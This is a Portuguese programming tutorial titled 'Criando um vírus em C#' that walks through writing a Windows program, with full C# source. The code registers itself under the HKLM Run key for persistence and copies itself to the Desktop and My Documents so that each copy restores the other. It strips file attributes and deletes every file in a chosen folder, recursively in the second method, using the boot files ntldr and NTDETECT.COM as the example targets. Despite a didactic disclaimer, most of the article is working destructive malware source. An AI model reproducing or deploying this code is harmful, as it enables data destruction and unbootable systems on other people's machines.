Criando um vírus em C#

O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos.

O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos. Aconselho que utilizem uma máquina virtual para executar o programa ou algum programa que retorne o S.O ao estado anterior, como o Deep Freeze e Norton Goback. Caso queira utilizar em seu próprio S.O, uso o programa apenas para deletar arquivos sem importância.

Bom, primeiramente o objetivo desse programa é deletar arquivos temporários do Windows como cokies e arquivos recentes, mas que também pode ser utilizado como um vírus.

Vamos começar, no Windows vá em c:\ e clique na guia ferramentas, opções de pasta, depois em modo de exibição, desmarque “Ocultar arquivos protegidos do sistema operacional”, ”Ocultar as extensões dos tipos de arquivos conhecidos” e “Mostrar pastas e arquivos ocultos”.

Agora copie os arquivos NEDECT.COM e ntldr, apenas copie, não recorte, estes arquivos são necessários para a inicialização do Windows, estou utilizando os dois apenas como exemplo, poderia ser qualquer outro arquivo do sistema.

Agora crie uma pasta chamada “para_deletar” no Desktop, entre nela e cole os arquivos NEDECT.COM e ntldr, depois crie ou copie e cole mais arquivos sem importância dentro desta pasta.

Inicie um projeto novo no C# do tipo Windows Application.

Crie um Form com 2 botões, no meu caso coloquei o nome de “Método 1” e “Método 2“

No código do botão método 1 coloque, o código abaixo antes do private void button1_Click(object sender, EventArgs e):

private void Reg_ini_win(string Exe_nome, bool habilitar, string caminho) { string chave = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; Microsoft.Win32.RegistryKey chave_ini = Microsoft.Win32.Registry .LocalMachine.OpenSubKey(chave); if (habilitar) //se habilitar for igual a 'True' então: { if (chave_ini.GetValue(Exe_nome) == null) // verifica se o registro de seu executável não xiste { chave_ini.Close(); chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true); // Adiciona chave de inicialização, (faz com que seu executável inicie junto com // o windows) chave_ini.SetValue(Exe_nome, caminho); chave_ini.Close(); } } else // se hbilitar for igual a 'False' { // Remove chave de inicialização chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true); chave_ini.DeleteValue(Exe_nome, false); chave_ini.Close(); } }

Agora dentro do private void button1_Click(object sender, EventArgs e), coloque o seguinte código:

Reg_ini_win("Gs_Virus", true, Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\DEL_TUDO_ARTIGO.exe"); Reg_ini_win("Gs_Virus_Copia", true,Environment .GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\DEL_TUDO_ARTIGO_COPY.exe"); // Reg_ini_win é uma rotina que cria uma chave de registro para que o executavel inicie junto com o windows // Os parâmetros são: o nome de seu executavel, true para adicionar ou false para remover o registro, o caminho onde ele se encontra // o executável, neste caso ustilizei o Environment.GetFolderPath(Environment.SpecialFolder.Desktop) uma função que será utilizada // novamente no decorrer so artigo e que serve para pegarmos pastas padrões do Windows, também adicionei o + @"\DEL_TUDO_ARTIGO.exe" // para especificar o nome de meu executável, criei dois registros porque quero gerar uma cópia de meu excutável para que os dois // iniciem junto com o Windows string[] arq; //a variavel arq é um vetor de 'n' posições //arq = System.IO.Directory.GetFiles(@"C:\Documents and Settings\para_deletar", "*"); // Entre parênteses posso colocar qualquer caminho existente no S.O, "*" significa tudo que está na pasta arq = System.IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar", "*"); // "*" significa tudo que está na pasta // cada posição do vetor arq irá receber o nome de um arquivo dentro da pasta para_deletar, que se encontra no Desktop for (int i = 0; i < arq.Length; i++) { // o loop começa em 0 e vai até arq.lentgh, neste caso // length refere-se ao numero de posições que meu // vetor possui, arq é uma variável do tipo string // então por isso utilizei o length System.IO.FileInfo file = new System.IO.FileInfo(arq[i]); // file é uma variavel do tipo FileInfo, que recebe informações // de cada arquivo de arq[i], por exemplo, se o arquivo é do // tipo leitura, oculto, sistema. file.Attributes = System.IO.FileAttributes.Normal; // agora todos os atributos de cada arquivo de arq[i] // são trocados para "normal", porque existem // arquivos do sistema que podem ser deletados quando // seus atributos são removidos System.IO.File.Delete(arq[i]); // por fim esse comando deleta o arquivo de arq[i] } string cp_exe; string cp_exe2; cp_exe = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\DEL_TUDO_ARTIGO.exe"; cp_exe2 = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)+ @"\DEL_TUDO_ARTIGO_COPY.exe"; // Esta rotina faz o executavel se auto copiar, se ele não existir // no caminho que você escolheu. // Nesse casso ele fará uma copia para o "Desktop" e outra para o "Meus Documentos" if (!System.IO.File.Exists(cp_exe2)) // pergunta se ele não existe em "Meus Documentos" { System.IO.File.Copy(Application.ExecutablePath, cp_exe2, true); // Esse comando pega o caminho de meu executavel, e faz uma copia // dele para a pasta "Meus Documentos". // Caminho do executavel (Application.ExecutablePath) // Para onde será copiado, com nome já renomeado (cp_exe2) // true, para sobrescrever arquivo já existente } // As rotinas de copia são para o caso de um dos executáveis serem // excluídos. Quando o programa for executado irá verificar se a cópia // existe, caso não, então faz uma. O executável com o nome _COPY, // faz o mesmo, se o original não existe, cria uma cópia if (!System.IO.File.Exists(cp_exe)) // pergunta se ele não existe no "Desktop" { System.IO.File.Copy(Application.ExecutablePath , cp_exe, true); // esse é o unico q funciona no windows, os outros funcionam só no c# // Esse comando de copia é parecido com o anterior, mas nesse caso // a cópia verifica se o executavel original não existe no desktop, // se não existir ele é copiado dos "Meus Documentos" para o "Desktop" }

Dica caso não queira ficar escrevendo System.IO, ou outros namespaces basta acrescentar o nome do namespace no início do programa na frente do using,como mostra a figura abaixo:

O próximo passo é colocarmos o código do botão “Método 2”, então dentro de private void button2_Click(object sender, EventArgs e), coloque o código abaixo:

string[] arq; // Novamente utilizei o vetor arq para pegar todos os arquivos da pasta "para_deletar" no Desktop // o outro parâmetro "*" seleciona todos os arquivos // o parâmetro SearchOption.AllDirectories, pega todas as pasta dentro da pasta "para_deletar" arq = System.IO.Directory.GetFiles (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar\", "*", SearchOption.AllDirectories); foreach(string arquivos in arq) { // Mesma lógica do metodo 1, nesse caso // se existirem outras pastas dentro da // pasta "para_deletar", os arquivos que // estiverem dentro serão deletados // restando apenas as pastas vazias // por isso o parâmetro // SearchOption.AllDirectories FileInfo file = new FileInfo(arquivos); file.Attributes = FileAttributes.Normal; System.IO.File.Delete(arquivos); } }

Veja o que ocorre dentro da vetor arq:

Neste artigo aprendemos a fazer um vírus básico, porém eficiente. O modo como utilizamos nossos conhecimentos em programação varia de pessoa para pessoa, neste caso, o artigo proporciona um ponto de vista didática, prejudicar o funcionamento correto do S.O de outras pessoas intencionalmente é lastimável.

Ebook exclusivo
Dê um upgrade no início da sua jornada. Crie sua conta grátis e baixe o e-book

Artigos relacionados